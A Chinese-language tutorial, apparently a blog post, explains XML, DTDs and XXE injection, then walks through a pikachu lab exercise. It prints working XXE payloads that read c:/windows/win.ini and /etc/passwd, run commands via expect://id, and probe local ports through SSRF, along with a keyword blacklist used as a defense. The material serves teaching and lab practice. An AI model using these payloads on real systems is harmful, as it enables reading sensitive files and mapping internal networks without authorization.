XXE漏洞

一.XML(Extensible Markup Language,可扩展标记语言)

1.XML被用来传输与储存数据的,HTML用来显示数据的。

2.XML演示

<?xml version="1.0" encoding="UTF-8"?> 
//version 包含XML的版本 ; encoding 包含字符编码
//UTF-8 也是 HTML5, CSS, JavaScript, PHP, 和 SQL 的默认编码

XML 必须包含根元素,它是所有其他元素的父元素

<?xml version="1.0" encoding="UTF-8"?>
<note> //根元素
  <to>Tove</to> //子元素
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

3.XML 标签对大小写敏感

4.XML 中的注释

<!-- 注释 -->

5.命名规则

  • 名称可以包含字母、数字以及其他的字符
  • 名称不能以数字或者标点符号开始
  • 名称不能以字母 xml(或者 XML、Xml 等等)开始
  • 名称不能包含空格

6.XML实体转化文档

实体引用字符
&lt;<
&gt;>
&amp;&
&quot;"
&apos;'

二.DTD(文档类型定义)

1.DTD是用来定义XML文档的合法构建模块,DTD可以声明在XML文档中,也可以作为一个外部引用。

2.XML文档内部引用(XML文档内部语法 : <!DOCTYPE root-element (根元素) [element-declarations (元素声明)]>)

<?xml version="1.0"?> //不屑默认UTF-8

<!DOCTYPE note [ //定义此文档是 note 类型的文档
    <!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
    <!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
    <!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型
    <!ELEMENT heading (#PCDATA)> //定义 heading 元素为 "#PCDATA" 类型
    <!ELEMENT body (#PCDATA)> //定义 boy 元素为 "#PCDATA" 类型
]>

<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend</body>
</note>

3.外部引用(XML文档内部语法 : <!DOCTYPE root-element SYSTEM "filename(路径)">)

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "FILE.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

FILE.dtd 文件中

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

4.DTD的优点

A.通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

B.通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

C.而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

D.您还可以使用 DTD 来验证您自身的数据。

5.数据类型

(1)PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &amp;、&lt; 以及 &gt; 实体来分别替换它们。

(2)CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

写的都是必要的知识点,如果感兴趣学习网址在下面

DTD 教程 | 菜鸟教程 (runoob.com)

三.XXE

1.概念:

xml外部实体注入,全称为XML external entity injection,某些应用程序允许XML格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。

2.危害:

XXE漏洞根据有无回显可分为有回显XXE和Blind XXE,具体危害主要有:

a.)检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。

b.)执行SSRF攻击,其中外部实体是基于后端系统的URL定义的,如:

<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >探测端口;

<!ENTITY xxe SYSTEM "expect://id" >执行命令;

c.)无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。

d.)通过Blind XXE错误消息检索数据是否存在,攻击者可以触发包含敏感数据的解析错误消息。

具体的攻击手段和场景在案例中说明。

3.挖掘思路

关注可能解析xml格式数据的功能处,较容易发现的是请求包参数包含XML格式数据,不容易发现的是文件上传及数据解析功能处,通过改请求方式、请求头Content-Type等方式进行挖掘,思路一般分三步:

(1)检测XML是否会被成功解析以及是否支持DTD引用外部实体,有回显或者报错;;

(2)需注意没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据

(3)最后可以尝试XInclude,某些应用程序接收客户端提交的数据,将其嵌入到服务器端的XML文档中,然后解析文档,尝试payload:

<fooxmlns:xi=“http://www.w3.org/2001/XInclude”>

<xi:include parse =“text”href =“file:/// etc / passwd”/> </ foo>

4.漏洞防范

1)禁用外部实体

2)手动黑名单过滤

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

5.pikachu靶场练习

输入带有内部实体的XML代码

<?xml version="1.0"?> 
<!DOCTYPE note [    
<!ENTITY xxe "汉坎" > ]> 
<note>&xxe;</note>

说明网页对于XML是有回显的

c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

<?xml version="1.0"?> 
<!DOCTYPE note [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<note>&xxe;</note>

这样无论你想知道什么文件内容都可知道了(注意路径只能是绝对路径,不能是相对路径)

XML还可以爆破端口

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:79" > ]> 
<foo>&xxe;</foo>

可以明显的看到第一个更快,原因是第一个端口是开放的

6.最后

XML主要的漏洞是XXE,但和它相关的漏洞不止这一个,比如:

1) XEE:XML Entity Expansion,主要试图通过消耗目标程序的服务器环境来进行DOS攻击;

2) XSLT:可扩展样式表转换漏洞,XSLT是XML的推荐样式表语言;

3) XPath注入漏洞,XPath用于浏览XML文档中的元素和属性,XSLT使用XPath来查找XML文档中的信息。

Geoserver是一个开源的地理信息系统(GIS)软件,它用于发布和共享地理数据和服务。然而,Geoserver在某些情况下可能存在一个称为XXEXML外部实体)漏洞XXE漏洞是一种安全漏洞,攻击者可以利用该漏洞来读取本地或远程服务器上的文件。这种漏洞通常是由于应用程序在处理XML输入时,对外部实体的处理不当而引起的。 具体到Geoserver的XXE漏洞,它可能会受到XML实体注入攻击。攻击者可以通过向Geoserver发送包含恶意XML实体引用的请求,来读取系统上的敏感文件或执行任意代码。 为了防止Geoserver XXE漏洞的利用,有几个关键的步骤可以采取: 1. 更新Geoserver:确保您使用的是最新版本的Geoserver。开源软件的维护者通常会修复已知的漏洞,并在新版本中发布修复程序。 2. 安全的配置文件处理:确保Geoserver的配置文件中没有不必要的文件,因为攻击者可能会利用这些文件访问敏感信息。 3. 过滤和验证用户输入:在输入和输出时,对用户提交的XML数据进行充分验证和过滤。这将有助于防止输入的恶意XML实体被执行。 4. 强化安全意识:向Geoserver用户和管理员提供适当的培训,以提高他们对安全问题的意识。这将有助于减少社会工程学攻击和恶意操作。 总之,Geoserver XXE漏洞是一种可以利用的安全漏洞,但通过更新软件、安全配置文件处理、过滤验证用户输入和提高安全意识,可以有效地减少这种漏洞的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Smile灬凉城666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值